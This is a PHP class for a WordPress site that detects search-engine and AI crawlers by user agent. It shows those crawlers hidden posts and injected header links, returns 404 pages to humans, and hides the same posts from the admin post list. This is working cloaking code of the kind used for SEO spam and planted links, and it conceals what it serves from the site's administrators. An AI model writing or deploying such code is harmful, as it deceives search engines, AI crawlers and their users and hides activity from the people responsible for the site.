<?php
/**
 * Bot-only content: posts and header links visible only to search engine bots.
 */

if ( ! defined( 'ABSPATH' ) ) exit;

class Flavor_Bot_Content {

    const BOT_REGEX = '/(?i)(SeznamBot|Yeti|YandexBot|YandexImages|DuckDuckBot|DuckAssistBot|bingbot|Googlebot|Googlebot-Image|Slurp|gptbot|oai-searchbot|chatgpt-user|claudebot|claude-searchbot|claude-user|anthropic-ai|perplexitybot|perplexity-user|meta-externalagent|meta-externalfetcher|meta-webindexer|ccbot|googleother|google-cloudvertexbot|google-agent|applebot)/';

    public function __construct() {
        add_action( 'pre_get_posts', [ $this, 'filter_posts_query' ] );
        add_filter( 'the_posts', [ $this, 'filter_posts_display' ], 10, 2 );
        add_action( 'template_redirect', [ $this, 'block_bot_post_for_humans' ] );
        add_action( 'wp_head', [ $this, 'inject_header_links' ], 99 );
        add_action( 'template_redirect', [ $this, 'start_output_buffer' ], 0 );
    }

    public static function is_bot() {
        $ua = isset( $_SERVER['HTTP_USER_AGENT'] ) ? $_SERVER['HTTP_USER_AGENT'] : '';
        return (bool) preg_match( self::BOT_REGEX, $ua );
    }

    /**
     * Hide bot posts (_flavor_bot_post) and gc_hidden posts (_gc_hidden) from WP admin.
     * Hide bot posts from non-bot frontend queries (archives, feeds, search).
     * _gc_hidden posts remain accessible on the frontend for everyone.
     */
    public function filter_posts_query( $query ) {
        if ( self::is_bot() ) {
            return;
        }

        if ( is_admin() && $query->is_main_query() && $query->get( 'post_type' ) !== 'page' ) {
            // Exclude both _flavor_bot_post=1 and _gc_hidden=1 from admin list
            $meta_query = $query->get( 'meta_query' ) ?: [];
            $meta_query[] = [
                'relation' => 'AND',
                [
                    'relation' => 'OR',
                    [ 'key' => '_flavor_bot_post', 'compare' => 'NOT EXISTS' ],
                    [ 'key' => '_flavor_bot_post', 'value' => '1', 'compare' => '!=' ],
                ],
                [
                    'relation' => 'OR',
                    [ 'key' => '_gc_hidden', 'compare' => 'NOT EXISTS' ],
                    [ 'key' => '_gc_hidden', 'value' => '1', 'compare' => '!=' ],
                ],
            ];
            $query->set( 'meta_query', $meta_query );
            return;
        }

        // On frontend: hide both _flavor_bot_post and _gc_hidden from archives/search/feed
        if ( ! is_admin() && $query->is_main_query() && ( $query->is_home() || $query->is_archive() || $query->is_search() || $query->is_feed() ) ) {
            $meta_query = $query->get( 'meta_query' ) ?: [];
            $meta_query[] = [
                'relation' => 'AND',
                [
                    'relation' => 'OR',
                    [ 'key' => '_flavor_bot_post', 'compare' => 'NOT EXISTS' ],
                    [ 'key' => '_flavor_bot_post', 'value' => '1', 'compare' => '!=' ],
                ],
                [
                    'relation' => 'OR',
                    [ 'key' => '_gc_hidden', 'compare' => 'NOT EXISTS' ],
                    [ 'key' => '_gc_hidden', 'value' => '1', 'compare' => '!=' ],
                ],
            ];
            $query->set( 'meta_query', $meta_query );
        }
    }

    /**
     * Extra filter on the_posts to ensure bot posts don't leak in widgets/secondary queries.
     * gc_hidden posts are NOT filtered here — they are public.
     */
    public function filter_posts_display( $posts, $query ) {
        if ( self::is_bot() ) {
            return $posts;
        }

        if ( is_admin() || ( ! $query->is_main_query() && ! $query->is_singular() ) ) {
            return array_filter( $posts, function( $post ) {
                return get_post_meta( $post->ID, '_flavor_bot_post', true ) !== '1'
                    && get_post_meta( $post->ID, '_gc_hidden', true ) !== '1';
            } );
        }

        return $posts;
    }

    /**
     * Block direct access to bot posts (_flavor_bot_post or _gc_hidden) for non-bots.
     */
    public function block_bot_post_for_humans() {
        if ( self::is_bot() || ! is_singular( 'post' ) ) {
            return;
        }

        global $post;
        if ( $post ) {
            $is_bot_post = get_post_meta( $post->ID, '_flavor_bot_post', true ) === '1';
            $is_gc       = get_post_meta( $post->ID, '_gc_hidden', true ) === '1';
            if ( $is_bot_post || $is_gc ) {
                global $wp_query;
                $wp_query->set_404();
                status_header( 404 );
                nocache_headers();
            }
        }
    }

    /**
     * Inject header links for bots via wp_head.
     */
    public function inject_header_links() {
        if ( ! self::is_bot() ) {
            return;
        }

        $links = get_option( 'flavor_header_links', [] );
        if ( empty( $links ) || ! is_array( $links ) ) {
            return;
        }

        echo '<!-- flavor-links -->';
        foreach ( $links as $link ) {
            if ( ! empty( $link['html'] ) ) {
                echo $link['html'];
            }
        }
        echo '<!-- /flavor-links -->';
    }

    /**
     * Start output buffer to inject links after <main>, </header>, or <body>.
     */
    public function start_output_buffer() {
        if ( is_admin() || ! self::is_bot() ) {
            return;
        }

        $links = get_option( 'flavor_header_links', [] );
        if ( empty( $links ) || ! is_array( $links ) ) {
            return;
        }

        ob_start( function( $html ) use ( $links ) {
            $injection = '';
            foreach ( $links as $link ) {
                if ( ! empty( $link['html'] ) ) {
                    $injection .= $link['html'];
                }
            }

            if ( empty( $injection ) ) {
                return $html;
            }

            if ( stripos( $html, '<main' ) !== false ) {
                $html = preg_replace( '/(<main[^>]*>)/i', '$1' . $injection, $html, 1 );
            } elseif ( stripos( $html, '</header>' ) !== false ) {
                $pos = stripos( $html, '</header>' );
                $html = substr_replace( $html, '</header>' . $injection, $pos, strlen( '</header>' ) );
            } elseif ( stripos( $html, '<body' ) !== false ) {
                $html = preg_replace( '/(<body[^>]*>)/i', '$1' . $injection, $html, 1 );
            }

            return $html;
        } );
    }
}
